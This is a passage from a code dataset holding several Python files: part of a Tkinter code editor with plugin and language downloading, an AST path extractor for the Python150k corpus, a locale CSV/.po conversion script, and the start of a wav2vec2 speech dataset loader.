os.listdir(\"files/plugins\"):\r\n if \".py\" in plugin_name:\r\n self.import_plugin(plugin_name.replace(\".py\", \"\"))\r\n \r\n def import_plugin(self, plugin_name):\r\n \r\n plugin = importlib.import_module(\"files.plugins.\"+plugin_name).plugin(self)\r\n \r\n try:\r\n plugin_name = plugin._NAME_OVERRIDE_\r\n except AttributeError:\r\n pass\r\n \r\n try:\r\n menu_commands = plugin._MENU_COMMANDS_\r\n except AttributeError:\r\n menu_commands = None\r\n \r\n if menu_commands is not None:\r\n menu = Menu(self.plugin_run_menu, tearoff=0)\r\n self.plugin_menus.append(menu)\r\n self.plugin_run_menu.add_cascade(label=plugin_name, menu=menu)\r\n \r\n if type(menu_commands) == str:\r\n menu_commands = [menu_commands]\r\n \r\n for cmd in menu_commands:\r\n menu.add_command(label=cmd, command=partial(self.call_plugin_func, \"on_menu_command\", {\"cmd\":cmd}, plugin_name))\r\n \r\n \r\n self.plugins[plugin_name] = plugin\r\n \r\n def call_plugin_func(self, func, event=None, plugin=None):\r\n \r\n if plugin == None:\r\n for plugin_name in self.plugins:\r\n try:\r\n eval(f\"self.plugins[plugin_name].{func}(event)\")\r\n except AttributeError:\r\n pass\r\n else:\r\n eval(f\"self.plugins[plugin].{func}(event)\")\r\n \r\n def text_callback(self, event):\r\n d = {}\r\n d[\"keysym\"] = event.keysym\r\n d[\"keycode\"] = event.keycode\r\n d[\"char\"] = event.char\r\n self.call_plugin_func(\"on_key_press\", d)\r\n self.needs_saving = True\r\n self.update_window_title()\r\n if event.char == \"\\t\":\r\n cursor = self.main_text_box.index(INSERT).split(\".\")\r\n pos = cursor[0] + \".\" + str(int(cursor[1])-1)\r\n self.main_text_box.delete(pos)\r\n self.main_text_box.insert(INSERT, \" \")\r\n self.file_text = self.main_text_box.get(\"1.0\", END)\r\n\r\n self.autofill_listbox.delete(0, END)\r\n\r\n self.set_tags(\"section\")\r\n self.set_autofill()\r\n self.set_auto_indent(event.keysym)\r\n\r\n def set_auto_indent(self, keysym):\r\n \r\n if keysym == \"Return\":\r\n prev_linenum = int(self.main_text_box.index(INSERT).split(\".\")[0])-2\r\n indent_level = self.get_indent_level(self.file_text.split(\"\\n\")[prev_linenum])\r\n self.main_text_box.insert(INSERT, \" \"*indent_level)\r\n elif keysym == \"Tab\":\r\n self.current_indent += 1\r\n elif keysym == \"BackSpace\":\r\n pass\r\n \r\n def get_indent_level(self, line):\r\n whitespace = 0\r\n for i in range(len(line)):\r\n if line[i] == \" \":\r\n whitespace += 1\r\n else:\r\n break\r\n \r\n try:\r\n if line[len(line)-1] in self.lang[\"indent_chars\"]:\r\n whitespace += 4\r\n except IndexError:\r\n pass\r\n return int(whitespace / 4)\r\n\r\n def set_autofill(self):\r\n index = self.main_text_box.index(INSERT).split(\".\")\r\n current_word = conversions.big_split(self.file_text.split(\"\\n\")[int(index[0]) - 1], self.config[\"word_separators\"])[\r\n conversions.charIndex_wordNum(self.file_text.split(\"\\n\")[int(index[0]) - 1], int(index[1]),\r\n self.config[\"word_separators\"])\r\n ]\r\n\r\n autofill_results = self.get_autofill(current_word)\r\n count = 0\r\n for result in autofill_results:\r\n count += 1\r\n self.autofill_listbox.insert(END, result)\r\n\r\n if count > 0:\r\n self.autofill_listbox.select_set(0)\r\n\r\n def set_tags(self, flag):\r\n\r\n if flag == \"all\":\r\n search_start = 0\r\n search_end = len(self.file_text.split(\"\\n\"))\r\n elif flag == \"section\":\r\n line_num = int(self.main_text_box.index(INSERT).split(\".\")[0])-1\r\n search_start = max(0, line_num-self.main_text_box_height)\r\n search_end = min(len(self.file_text.split(\"\\n\"))-2, line_num+self.main_text_box_height)\r\n\r\n elif flag == \"mouse\":\r\n line_num = int(self.main_text_box.index(CURRENT).split(\".\")[0]) - 1\r\n search_start = max(0, line_num - self.main_text_box_height)\r\n search_end = min(len(self.file_text.split(\"\\n\")) - 2, line_num + self.main_text_box_height)\r\n\r\n else:\r\n return\r\n\r\n split_lines = self.file_text.split(\"\\n\")\r\n \r\n for tag in self.main_text_box.tag_names():\r\n self.main_text_box.tag_delete(tag)\r\n\r\n for line_num in range(search_start, search_end):\r\n word_split = conversions.big_split(split_lines[line_num], self.config[\"word_separators\"])\r\n for word_num in range(len(word_split)):\r\n start_ind = conversions.wordNum_charIndex(split_lines[line_num], word_num,\r\n self.config[\"word_separators\"])\r\n start = f\"{str(line_num + 1)}.{start_ind}\"\r\n end = f\"{str(line_num + 1)}.{start_ind + len(word_split[word_num]) + 1}\"\r\n syntax = self.get_word_syntax(word_split[word_num])\r\n col = syntax[\"col\"]\r\n style = syntax[\"style\"]\r\n\r\n if style is not None:\r\n font = (self.config[\"default_font\"], self.config[\"default_font_size\"], style)\r\n else:\r\n font = self.default_font\r\n self.main_text_box.tag_add(word_split[word_num] + start, start, end)\r\n self.main_text_box.tag_config(word_split[word_num] + start, foreground=col, font=font)\r\n\r\n # Single comment search\r\n if self.lang[\"single_comment\"] is not None and self.lang[\"block_comment_start\"] is not None and self.lang[\"block_comment_start\"] is not None:\r\n s_comment_positions = conversions.big_search(self.file_text, self.lang[\"single_comment\"])\r\n\r\n for pos in s_comment_positions:\r\n line_num = conversions.charIndex_lineNum(self.file_text, pos)\r\n line_start = conversions.lineNum_charIndex(self.file_text, line_num)\r\n \r\n start = str(line_num + 1) + \".\" + str(pos - line_start - line_num-1)\r\n end = str(line_num + 1) + \".\" + str(len(self.file_text.split(\"\\n\")[line_num]))\r\n\r\n style = self.style[\"comment_style\"]\r\n\r\n if style is not None:\r\n font = (self.config[\"default_font\"], self.config[\"default_font_size\"], style)\r\n else:\r\n font = self.default_font\r\n\r\n self.main_text_box.tag_add(\"comment\" + str(pos), start, end)\r\n self.main_text_box.tag_config(\"comment\" + str(pos), foreground=self.style[\"comment_col\"], font=font)\r\n\r\n # Block comment search\r\n b_comment_start_positions = conversions.big_search(self.file_text, self.lang[\"block_comment_start\"])\r\n b_comment_end_positions = conversions.big_search(self.file_text, self.lang[\"block_comment_end\"])\r\n\r\n for start in b_comment_start_positions:\r\n lowest = len(self.file_text) + 1\r\n\r\n for end in b_comment_end_positions:\r\n difference = end - start\r\n\r\n if difference < lowest:\r\n lowest = difference\r\n\r\n line_num = conversions.charIndex_lineNum(self.file_text, start)\r\n line_start = conversions.lineNum_charIndex(self.file_text, line_num)\r\n start_pos = str(line_num + 1) + \".\" + str(start - line_start - line_num)\r\n line_num = conversions.charIndex_lineNum(self.file_text, lowest)\r\n line_start = conversions.lineNum_charIndex(self.file_text, line_num)\r\n end_pos = str(line_num + 1) + \".\" + str(lowest - line_start - line_num)\r\n\r\n style = self.style[\"comment_style\"]\r\n\r\n if style is not None:\r\n font = (self.config[\"default_font\"], self.config[\"default_font_size\"], style)\r\n else:\r\n font = self.default_font\r\n\r\n self.main_text_box.tag_add(\"comment\" + str(start), start_pos, end_pos)\r\n self.main_text_box.tag_config(\"comment\" + str(start), foreground=self.style[\"comment_col\"], font=font)\r\n\r\n str_start = None\r\n str_end = None\r\n for line_num in range(search_start, search_end):\r\n char_split = list(split_lines[line_num])\r\n for char_num in range(len(char_split)):\r\n char = char_split[char_num]\r\n if \"str_chars\" not in self.lang:\r\n continue\r\n if char in self.lang.get(\"str_chars\"):\r\n if str_start is None:\r\n str_start = str(line_num+1)+\".\"+str(char_num)\r\n elif str_end is None and str_start is not None:\r\n str_end = str(line_num+1)+\".\"+str(char_num+1)\r\n col = self.style[\"str_col\"]\r\n style = self.style[\"str_style\"]\r\n if style is not None:\r\n font = (self.config[\"default_font\"], self.config[\"default_font_size\"], style)\r\n else:\r\n font = self.default_font\r\n self.main_text_box.tag_add(str_start + str_end, str_start, str_end)\r\n self.main_text_box.tag_config(str_start + str_end, foreground=col, font=font)\r\n str_start = None\r\n str_end = None\r\n\r\n def get_word_syntax(self, word: str):\r\n\r\n for syntax_word in self.lang[\"syntax_highlighting\"]:\r\n if syntax_word == word:\r\n return self.style[\"code_syntax\"][self.lang[\"syntax_highlighting\"][syntax_word]]\r\n return {\"col\": self.style[\"base_col\"], \"style\": None}\r\n\r\n def get_autofill(self, word):\r\n\r\n out = []\r\n\r\n for auto_word in self.lang[\"autofill\"]:\r\n if word in auto_word:\r\n out.append(auto_word)\r\n return out\r\n\r\n def autofill_callback(self, event):\r\n\r\n if self.autofill_listbox.get(ACTIVE) == \"\":\r\n return\r\n\r\n index = self.main_text_box.index(INSERT).split(\".\")\r\n current_word = conversions.big_split(self.file_text.split(\"\\n\")[int(index[0]) - 1], self.config[\"word_separators\"])[\r\n conversions.charIndex_wordNum(self.file_text.split(\"\\n\")[int(index[0]) - 1], int(index[1]),\r\n self.config[\"word_separators\"])\r\n ]\r\n\r\n word_index = int(index[1]) - len(current_word)\r\n split = self.file_text.split(\"\\n\")\r\n split[int(index[0]) - 1] = conversions.replace_string_at(self.file_text.split(\"\\n\")[int(index[0]) - 1],\r\n word_index, word_index + len(current_word),\r\n self.autofill_listbox.get(ACTIVE))\r\n self.file_text = \"\\n\".join(split)\r\n self.file_text = self.file_text[0:len(self.file_text) - 1]\r\n\r\n self.main_text_box.delete(1.0, END)\r\n self.main_text_box.insert(1.0, self.file_text.replace(\"\\t\", \" \"))\r\n self.main_text_box.mark_set(INSERT, f\"{index[0]}.{str(word_index + len(self.autofill_listbox.get(ACTIVE)))}\")\r\n\r\n def on_text_configure(self, event):\r\n\r\n f = font.Font(family=self.default_font[0], size=self.default_font[1])\r\n height = int(round(event.height / f.metrics(\"linespace\"), 0))\r\n self.main_text_box_height = height\r\n \r\n def motion(self, event):\r\n self.update_status_bar()\r\n d = {}\r\n d[\"x\"] = event.x\r\n d[\"y\"] = event.y\r\n self.call_plugin_func(\"on_mouse_move\", d)\r\n \r\n def update_status_bar(self, event=None):\r\n\r\n mx = self.window.winfo_pointerx() - self.window.winfo_x()\r\n my = self.window.winfo_pointery() - self.window.winfo_y()\r\n index = self.main_text_box.index(INSERT).split(\".\")\r\n l = index[0]\r\n c = index[1]\r\n\r\n value = f\"X: {mx} ;; Y: {my} || Line: {l} ;; Col: {c} | Lang: {self.lang['name']}\"\r\n\r\n self.status_bar_value.set(value)\r\n \r\n def update_window_title(self):\r\n if self.file_path is not None:\r\n title = self.config[\"window\"][\"title\"].replace(\"{VERSION}\", str(self.version_num)).replace(\"{FILEPATH}\", str(self.file_path))\r\n if self.file_text != open(self.file_path).read():\r\n title += \" *\"\r\n \r\n else:\r\n title = self.config[\"window\"][\"title\"].replace(\"{VERSION}\", str(self.version_num))\r\n self.window.title(title)\r\n\r\n def autofill_drag(self, event=None):\r\n x = self.window.winfo_pointerx() - self.window.winfo_x()\r\n rel_x = x - self.window.winfo_width() + self.autofill_width\r\n width = self.window.winfo_width() - x\r\n if -10 < rel_x < 10:\r\n self.autofill_width = width\r\n print(self.autofill_width)\r\n self.autofill_size_frame.config(width=self.autofill_width)\r\n\r\n def project_view_drag(self, event=None):\r\n x = self.window.winfo_pointerx() - self.window.winfo_x()\r\n if self.project_tree_width - 10 < x < self.project_tree_width + 15:\r\n self.project_tree_width = x\r\n self.project_tree_frame.config(width=self.project_tree_width)\r\n\r\n def map_project_folder(self, path):\r\n \r\n self.project_tree.insert(\"\", iid=path, index=0, text=\">:)\")\r\n self.map_folder(path)\r\n\r\n def map_folder(self, folder_path):\r\n contents = os.listdir(folder_path)\r\n\r\n for file_dir in contents:\r\n if os.path.isfile(folder_path+\"/\"+file_dir):\r\n extension = file_dir.split(\".\")[len(file_dir.split(\".\"))-1]\r\n if extension in self.file_icons:\r\n image = self.file_icons[extension]\r\n else:\r\n image = self.project_view_default_image\r\n else:\r\n image = self.project_view_folder_image\r\n self.project_tree.insert(folder_path, iid=folder_path+\"/\"+file_dir, image=image, index=END, text=file_dir)\r\n if os.path.isdir(folder_path+\"/\"+file_dir):\r\n self.map_folder(folder_path+\"/\"+file_dir)\r\n\r\n def project_tree_sel(self, event=None):\r\n item = self.project_tree.focus()\r\n if item != \"\":\r\n if os.path.isfile(item):\r\n self.file_path = item\r\n self.load_file(item)\r\n\r\n def clear_file(self):\r\n self.file_path = None\r\n self.file_text = \"\"\r\n self.main_text_box.delete(1.0, END)\r\n\r\n def load_file(self, path):\r\n \r\n d = {}\r\n d[\"path\"] = path\r\n self.call_plugin_func(\"on_file_load\", d)\r\n \r\n file = open(path)\r\n self.file_text = file.read()\r\n\r\n self.main_text_box.delete(1.0, END)\r\n self.main_text_box.insert(1.0, self.file_text.replace(\"\\t\", \" \"))\r\n self.main_text_box.mark_set(INSERT, \"1.0\")\r\n\r\n # Getting language\r\n split = self.file_text.split(\"\\n\")\r\n if \"TC LANG\" in split[0]:\r\n try:\r\n self.sel_language([0].split()[2])\r\n self.set_tags(\"all\")\r\n return\r\n except FileNotFoundError:\r\n self.sel_language(self.config[\"default_lang\"])\r\n self.set_tags(\"all\")\r\n return\r\n else:\r\n if \".\" in path:\r\n file_extension = path.split(\".\")[len(path.split(\".\")) - 1]\r\n for lang in os.listdir(\"files/languages/\"):\r\n if \".json\" in lang:\r\n j = json.load(open(\"files/languages/\" + lang))\r\n if file_extension in j[\"default_file_extensions\"]:\r\n self.sel_language(lang)\r\n self.set_tags(\"all\")\r\n return\r\n self.sel_language(self.config[\"default_lang\"])\r\n self.set_tags(\"all\")\r\n return\r\n\r\n def save_file(self, path):\r\n d = {}\r\n d[\"path\"] = path\r\n self.call_plugin_func(\"on_file_load\", d)\r\n \r\n self.needs_saving = False\r\n self.update_window_title()\r\n file = open(path, \"w+\")\r\n file.write(self.file_text)\r\n file.close()\r\n\r\n def sel_language(self, lang_name):\r\n with open(\"files/languages/\" + lang_name) as s:\r\n self.lang = json.load(s)\r\n \r\n def run_script(self):\r\n if self.lang[\"default_run_command\"] is not None:\r\n path = os.path.split(self.file_path)\r\n command = self.lang[\"default_run_command\"].replace(\"{FILEPATH}\", conversions.format_file_path(path[0])).replace(\"{FILENAME}\", path[1])\r\n os.system(command)\r\n \r\n def compile_script(self):\r\n if self.lang[\"default_compile_command\"] is not None:\r\n path = os.path.split(self.file_path)\r\n command = self.lang[\"default_compile_command\"].replace(\"{FILEPATH}\", conversions.format_file_path(path[0])).replace(\"{FILENAME}\", path[1])\r\n os.system(command)\r\n \r\n def console_command(self, cmd):\r\n p = subprocess.Popen(cmd, shell=True, stderr=subprocess.PIPE)\r\n \r\n running = True\r\n while running:\r\n out = p.stderr.read(1)\r\n if str(out) == \"b''\":\r\n running = False\r\n else:\r\n print(\"out:\"+out)\r\n# self.console_content.insert(END, str(out))\r\n \r\n def download_plugin(self, plugin_name):\r\n response = self.plugin_fetcher.download_file(plugin_name+\".py\", \"files/plugins/\")\r\n if response:\r\n messagebox.Message(plugin_name+\" was installed sucessfully\")\r\n elif response == \"404\":\r\n messagebox.showwarning(\"Warning\", \"No plugin was found called: \" + plugin_name)\r\n \r\n def download_language(self, language):\r\n response = self.language_fetcher.download_file(language+\".json\", \"files/languages/\")\r\n if response:\r\n messagebox.Message(language+\" was installed sucessfully\")\r\n elif response == \"404\":\r\n messagebox.showwarning(\"Warning\", \"No language was found called: \" + language)\r\n \r\n def MENU_goto_line(self, event=None):\r\n line_num = simpledialog.askinteger(\"Goto line: \", \"Goto line:\")\r\n fraction = (line_num-2) / len(self.file_text.split(\"\\n\"))\r\n self.main_text_box.yview_moveto(str(fraction))\r\n self.set_tags(\"all\")\r\n self.main_text_box.tag_add(\"goto_line\", str(line_num)+\".0\", str(line_num)+\".\"+str(len(self.file_text.split(\"\\n\"))))\r\n self.main_text_box.tag_config(\"goto_line\", background=self.config[\"goto_line_sel_col\"])\r\n \r\n def MENU_select_language(self, lang_name, event=None):\r\n self.sel_language(lang_name)\r\n \r\n def MENU_add_language(self, event=None):\r\n lang = simpledialog.askstring(\"Language download\", \"Please enter the name of the language you wish to download.\").lower().replace(\" \", \"_\")\r\n self.download_language(lang)\r\n \r\n def MENU_new(self, event=None):\r\n self.clear_file()\r\n\r\n def MENU_open_file(self, event=None):\r\n filepath = filedialog.askopenfilename()\r\n self.file_path = filepath\r\n self.load_file(filepath)\r\n\r\n def MENU_open_project(self, event=None):\r\n filepath = filedialog.askdirectory()\r\n self.clear_file()\r\n self.map_project_folder(filepath)\r\n self.project_path = filepath\r\n\r\n def MENU_save_file(self, event=None):\r\n if self.file_path is None:\r\n self.MENU_saveas_file()\r\n else:\r\n self.save_file(self.file_path)\r\n\r\n def MENU_saveas_file(self, event=None):\r\n filepath = filedialog.asksaveasfilename()\r\n if os.path.isfile(filepath):\r\n self.file_path = filepath\r\n self.save_file(filepath)\r\n else:\r\n open(filepath, \"x\").close()\r\n self.file_path = filepath\r\n self.save_file(filepath)\r\n\r\n def MENU_config_run(self, event=None):\r\n simpledialog.askstring(\"Run system command\", \"Enter a command for the system to run.\")\r\n\r\n def MENU_run_script(self, event=None):\r\n\r\n self.run_script()\r\n \r\n def MENU_compile_script(self, event=None):\r\n \r\n self.compile_script()\r\n \r\n def MENU_compile_run(self, event=None):\r\n \r\n self.compile_script()\r\n self.run_script()\r\n \r\n def MENU_change_style(self, event=None):\r\n \r\n style = simpledialog.askstring(\"This will need a restart to take effect.\", \"Enter a style key. (files/styles.json)\")\r\n if style in json.load(open(\"files/styles.json\")):\r\n self.config[\"default_style\"] = style\r\n else:\r\n messagebox.showwarning(\"Warning\", \"No style was found with that name.\")\r\n \r\n def MENU_configure_styles(self, event=None):\r\n os.startfile(os.getcwd()+\"/files/styles.json\")\r\n \r\n def MENU_add_plugin(self, event=None):\r\n plugin = simpledialog.askstring(\"Plugin download\", \"Please enter the name of the plugin you wish to download.\").lower().replace(\" \", \"_\")\r\n self.download_plugin(plugin)\r\n reload_program(self)\r\n \r\ntry:\r\n t = TurtleCode()\r\nexcept Exception as E:\r\n error = traceback.format_exc()\r\n f = open(\"files/latest.log\", \"w+\")\r\n f.write(error)\r\n f.close()\r\n messagebox.showerror(\"Oh no! A fatal error occurred!\", str(E))\r\n\r\nexit()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"TurtleCode/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":32555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"566012088","text":"import argparse\nimport re\nimport os\nimport json\nimport multiprocessing\nimport itertools\nimport tqdm\nimport numpy as np\n\nfrom pathlib import Path\nfrom sklearn import model_selection as sklearn_model_selection\n\nMETHOD_NAME, NUM = 'METHODNAME', 'NUM'\nRT_REGEX = re.compile('\\'?\"?REPLACEME\\d+\"?\\'?')\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_dir', required=True, type=str)\nparser.add_argument('--max_path_length', type=int, default=8)\nparser.add_argument('--max_path_width', type=int, default=2)\nparser.add_argument('--use_method_name', type=bool, default=True)\nparser.add_argument('--use_nums', type=bool, default=True)\nparser.add_argument('--output_dir', required=True, type=str)\nparser.add_argument('--n_jobs', type=int, default=multiprocessing.cpu_count())\nparser.add_argument('--seed', type=int, default=239)\n\n\ndef __collect_asts(json_file):\n return list(filter(\n None,\n [ x.strip() for x in open(json_file, 'r', encoding='utf-8').readlines() ]\n ))\n\n\ndef __maybe_rt(value):\n if RT_REGEX.match(value):\n return \"@R_\" + value.strip().replace(\"REPLACEME\", \"\").replace(\"'\", '').replace('\"', '') + \"@\"\n return value\n\n\ndef __maybe_rt_str(value):\n if RT_REGEX.match(value):\n return \"@R_\" + value.strip().replace(\"REPLACEME\", \"\").replace(\"'\", '').replace('\"', '') + \"@\"\n \n value = re.sub(\n \"[^A-Za-z0-9|]\", \"\",\n re.sub(\n r'[\"\\',]', \"\",\n re.sub(\n r'\\s+', '|', value.lower().replace('\\\\\\\\n', '')\n )\n )\n ).strip('|')\n\n return value\n\n\ndef __terminals(ast, node_index, args):\n stack, paths = [], []\n\n def dfs(v):\n # Skip DEF node\n if v == node_index + 1:\n return\n\n stack.append(v)\n\n v_node = ast[v]\n\n if 'value' in v_node:\n if v == node_index + 2: # Top-level func def node.\n if args.use_method_name:\n paths.append((stack.copy(), METHOD_NAME))\n else:\n v_type = v_node['type']\n\n if v_type == \"NAME\":\n paths.append((stack.copy(), __maybe_rt(v_node['value'])))\n elif args.use_nums and v_type == 'NUMBER':\n paths.append((stack.copy(), NUM))\n elif v_type == 'STRING':\n paths.append((stack.copy(), __maybe_rt_str(v_node['value'][:50])))\n else:\n pass\n\n if 'children' in v_node:\n for child in v_node['children']:\n dfs(child)\n\n stack.pop()\n\n dfs(node_index)\n\n return paths\n\n\ndef __merge_terminals2_paths(v_path, u_path):\n s, n, m = 0, len(v_path), len(u_path)\n while s < min(n, m) and v_path[s] == u_path[s]:\n s += 1\n\n prefix = list(reversed(v_path[s:]))\n lca = v_path[s - 1]\n suffix = u_path[s:]\n\n return prefix, lca, suffix\n\n\ndef __raw_tree_paths(ast, node_index, args):\n tnodes = __terminals(ast, node_index, args)\n\n tree_paths = []\n for (v_path, v_value), (u_path, u_value) in itertools.combinations(\n iterable=tnodes,\n r=2,\n ):\n prefix, lca, suffix = __merge_terminals2_paths(v_path, u_path)\n if (len(prefix) + 1 + len(suffix) <= args.max_path_length) \\\n and (abs(len(prefix) - len(suffix)) <= args.max_path_width):\n path = prefix + [lca] + suffix\n tree_path = v_value, path, u_value\n tree_paths.append(tree_path)\n\n return tree_paths\n\n\ndef __delim_name(name):\n if name.startswith(\"@R_\") and name.endswith(\"@\"):\n return name\n\n if name in {METHOD_NAME, NUM}:\n return name\n\n def camel_case_split(identifier):\n matches = re.finditer(\n '.+?(?:(?<=[a-z])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][a-z])|$)',\n identifier,\n )\n return [m.group(0) for m in matches]\n\n blocks = []\n for underscore_block in name.split('_'):\n for bar_block in underscore_block.split('|'):\n blocks.extend(camel_case_split(bar_block))\n\n return '|'.join(block.lower()[:50] for block in blocks)\n\n\ndef __collect_sample(ast, fd_index, args):\n root = ast[fd_index]\n if root['type'] != 'funcdef':\n raise ValueError('Wrong node type.')\n\n target = ast[fd_index + 2]['value']\n\n tree_paths = __raw_tree_paths(ast, fd_index, args)\n contexts = []\n for tree_path in tree_paths:\n start, connector, finish = tree_path\n\n start, finish = __delim_name(start), __delim_name(finish)\n connector = '|'.join(ast[v]['type'] for v in connector)\n\n context = f'{start},{connector},{finish}'\n contexts.append(context)\n\n if len(contexts) == 0:\n return None\n\n target = __delim_name(target)\n context = ' '.join(contexts)\n\n return f'{target} {context}'\n\n\ndef __collect_samples(as_tuple):\n ast = json.loads(as_tuple[0])\n args = as_tuple[1]\n\n samples = []\n for node_index, node in enumerate(ast['ast']):\n if node['type'] == 'funcdef':\n sample = __collect_sample(ast['ast'], node_index, args)\n if sample is not None:\n samples.append((ast['from_file'], sample))\n\n return samples\n\n\ndef __collect_all_and_save(asts, args, output_file):\n targets = [ (ast, args) for ast in asts ]\n\n pool = multiprocessing.Pool()\n samples = list(itertools.chain.from_iterable(tqdm.tqdm(\n pool.imap_unordered(__collect_samples, targets, len(targets) // args.n_jobs),\n desc=\" + Collecting and saving to: '{}'\".format(output_file),\n total=len(targets)\n )))\n\n with open(output_file, 'w') as f:\n for line_index, (from_file, line) in enumerate(samples):\n f.write(from_file + ' ' + line + ('' if line_index == len(samples) - 1 else '\\n'))\n\n\ndef main():\n print(\"Collecting python ASTs (extract.py):\")\n args = parser.parse_args()\n np.random.seed(args.seed)\n\n data_dir = Path(args.data_dir)\n train = __collect_asts(data_dir / 'train.json')\n test = __collect_asts(data_dir / 'test.json')\n valid = __collect_asts(data_dir / 'valid.json')\n\n output_dir = Path(args.output_dir)\n output_dir.mkdir(exist_ok=True)\n for split_name, split in zip(\n ('train', 'valid', 'test'),\n (train, valid, test),\n ):\n output_file = output_dir / f'{split_name}_output_file.txt'\n __collect_all_and_save(split, args, output_file)\n\n print(\"Checking for baseline.json...\")\n if (data_dir / 'baseline.json').exists():\n print(\" + Exists\")\n output_file = output_dir / f'baseline_output_file.txt'\n __collect_all_and_save(split, args, output_file)\n\n print(\"Complete!\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Python150kExtractor/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":6698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"549420952","text":"import csv\nimport os\nimport sys\nfrom pathlib import Path\n\n\n\n\nclass locale_util:\n \n repo_path = Path(os.path.dirname(os.path.realpath(__file__))).parent\n locale_path = repo_path / 'electrum' / 'locale'\n languages = [\n 'pl_PL',\n 'zh_CN',\n 'ja_JP',\n 'vi_VN',\n 'es_ES',\n 'ko_KR'\n ]\n \n @classmethod\n def compile_locale_to_csv(cls):\n translation_map = dict()\n for lang in cls.languages:\n po_path = cls.locale_path / lang / 'electrum.po'\n with open(po_path, \"r\") as po_file:\n read_entry = False\n idx = ''\n for line in po_file:\n if ('gui/qt' in line or 'ledger' in line) and 'lightning' not in line:\n read_entry = True\n if \"msgid\" in line and read_entry:\n idx = line.strip()[7:-1]\n if 'msgstr' in line and read_entry:\n if idx not in translation_map.keys():\n translation_map[idx]=[]\n translation_map[idx].append(line.strip()[8:-1])\n read_entry = False\n idx = ''\n \n with open(\"res.csv\", 'w') as output:\n writer = csv.writer(output)\n for i in range(10):\n writer.writerow([])\n for key in translation_map.keys():\n row = translation_map[key]\n row.insert(0, key)\n writer.writerow(row)\n \n @classmethod\n def extract_csv_to_locale(cls):\n translation_map = dict()\n with open(\"res2.csv\", 'r') as infile:\n reader = csv.reader(infile)\n for row in reader:\n if not row: continue\n key = row[0]\n translation_map[key] = row[1:]\n for lang in cls.languages:\n po_path = cls.locale_path / lang / 'electrum.po'\n mo_path = cls.locale_path / lang / 'LC_MESSAGES' / 'electrum.mo'\n with open(po_path, \"r\") as po_file:\n po_header = []\n i = 0\n for line in po_file:\n po_header.append(line)\n i = i + 1\n if i == 10: break\n \n with open(po_path, \"w\") as po_file:\n key = ''\n po_file.write(''.join(po_header))\n for key in translation_map.keys():\n try:\n if not repr(key.strip()).strip(\"'\").strip('\"'): continue \n po_file.write('msgid \"' + key.strip().strip(\"'\").strip('\"').replace(\"\\n\",\"\\\\n\") + '\"\\n')\n po_file.write('msgstr \"' + translation_map[key][cls.languages.index(lang)].strip().strip(\"'\").strip('\"').replace(\"\\n\",\"\\\\n\") + '\"\\n')\n po_file.write('\\n')\n except:\n continue\n cls._compile_mo_file(mo_path, po_path)\n \n @classmethod\n def _compile_mo_file(cls, mo_path, po_path):\n cmd = 'msgfmt --output-file=%s %s' % (mo_path, po_path)\n os.system(cmd)\n\n\n\n\nvalid_args = ['csv_to_loc',\n 'loc_to_csv']\n \n#if len(sys.argv) < 2 or sys.argv[1] not in valid_args:\n# print('Invalid script argument. Please use one of the following ones:\\n'\n# '\\t - %s - extract language data from csv files to .po and .mo\\n'\n# '\\t - %s - compile .po files to csv, for convenient editing\\n'% (valid_args[0], valid_args[1]))\n#elif sys.argv[1] == valid_args[0]:\nlocale_util.extract_csv_to_locale()\n#elif sys.argv[1] == valid_args[1]:\n# locale_util.compile_locale_to_csv()","sub_path":"utils/locale_util.py","file_name":"locale_util.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"571871934","text":"import torch\nimport re\nimport torchaudio\nimport librosa\nimport numpy as np\nimport os\n\n\nfrom datasets import load_dataset, concatenate_datasets\nfrom dataclasses import dataclass\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom transformers import Wav2Vec2CTCTokenizer\nfrom transformers import Wav2Vec2FeatureExtractor\nfrom transformers import Wav2Vec2Processor\n\ndef parse_dataset_dict(data_dict):\n text_column = data_dict['text_column']\n audio_path_column = data_dict['path_column']\n del data_dict['text_column']\n del data_dict['path_column']\n return text_column, audio_path_column\n\ndef remove_extra_columns(dataset, text_column, audio_path_column):\n remove_column = list(dataset.column_names)\n remove_column.remove(text_column)\n remove_column.remove(audio_path_column)\n return dataset.remove_columns(remove_column)\n\ndef vocab_to_string(vocab, blank, silence, unk, space=' '):\n vocab_list = list(vocab.keys())\n # remove special tokens\n vocab_list = [x if len(x) == 1 else '' for x in vocab_list]\n vocab_list.sort()\n # remove special with len 1\n vocab_list.remove(silence)\n # vocab_list.remove(blank)\n # vocab_list.remove(unk)\n\n # append space token\n vocab_list.append(space)\n # convert to string\n return ''.join(vocab_list)\n\n\nclass Dataset(object):\n def __init__(self, config, vocab, text_column='text', audio_path_column='audio_path'):\n self.config = config\n self.text_column = text_column\n self.audio_path_column = audio_path_column\n self.vocab = vocab\n # load datasets\n self.train_dataset = None\n self.devel_dataset = None\n\n self.files_path = self.config.datasets['files_path'] if 'files_path'in self.config['datasets'].keys() else None\n\n self.tokenizer = Wav2Vec2CTCTokenizer(self.config.vocab['vocab_path'], unk_token=self.config.vocab['unk'], pad_token=self.config.vocab['blank'], word_delimiter_token=self.config.vocab['silence'])\n self.feature_extractor = Wav2Vec2FeatureExtractor(feature_size=1, sampling_rate=self.config['sampling_rate'], padding_value=0.0, do_normalize=True, return_attention_mask=True)\n self.processor = Wav2Vec2Processor(feature_extractor=self.feature_extractor, tokenizer=self.tokenizer)\n\n # create dataset\n self.initialize_datasets()\n\n\n def preprocess_datasets(self):\n # remove all invalid characters present in text\n self.normalise_texts()\n \n self.audio_preprocess_and_prepare_dataset()\n\n def initialize_datasets(self):\n for dataset_dict in self.config.datasets['train']:\n self.train_dataset = self.make_dataset(dataset_dict, self.train_dataset)\n\n for dataset_dict in self.config.datasets['devel']:\n self.devel_dataset = self.make_dataset(dataset_dict, 